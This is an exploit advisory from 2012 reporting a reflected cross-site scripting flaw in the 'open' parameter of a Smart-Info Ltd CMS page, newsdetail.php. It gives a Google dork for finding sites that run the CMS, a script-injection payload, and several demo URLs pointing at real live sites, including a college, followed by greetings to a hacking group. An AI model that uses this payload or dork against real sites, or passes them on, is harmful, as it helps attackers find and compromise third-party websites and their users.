<!-- ________ .__ __________________ \_ ___ \_______|__| _____ \_____ \______ \ / \ \/\_ __ \ |/ \ _(__ <| _/ \ \____| | \/ | Y Y \/ \ | \ \______ /|__| |__|__|_| /______ /____|_ / \/ \/ \/ \/ --> # Exploit Title: Smart-Info Ltd cms Cross site Scripting Vulnerability # # Google Dork: Intext:"Powered by Smart-Info Ltd" # # Date: 08/29/2012 # # Author: Crim3R # # Site : Http://Ajaxtm.com/ # # Vendor Home : http://www.smartinfo.com.hk/ # # Tested on: all # ================================== [+] open parametr in newsdetail.php is Vulnerable to xss [+] newsdetail.php?id=[id]&open="><script>alert(0);</script> D3m0: http://www.monitacollege.com/english/newsdetail.php?id=125&open="><script>alert(0);</script> http://www.smartinfo.com.hk/monitacollege/english/newsdetail.php?id=15&open="><script>alert(0);</script> http://demo.sXXXtinfo.cn/mornsunpower/php/newsdetail.php?id=193&open="><script>alert(0);</script> ===============Crim3R@Att.Net========= [+] Greetz to All Ajaxtm Security Member Cair3x - HUrr!c4nE - E2MA3N - S3Ri0uS - iM4n - Sc0rpion - Daniyal devilzc0der - Dominator - Hossein.R1369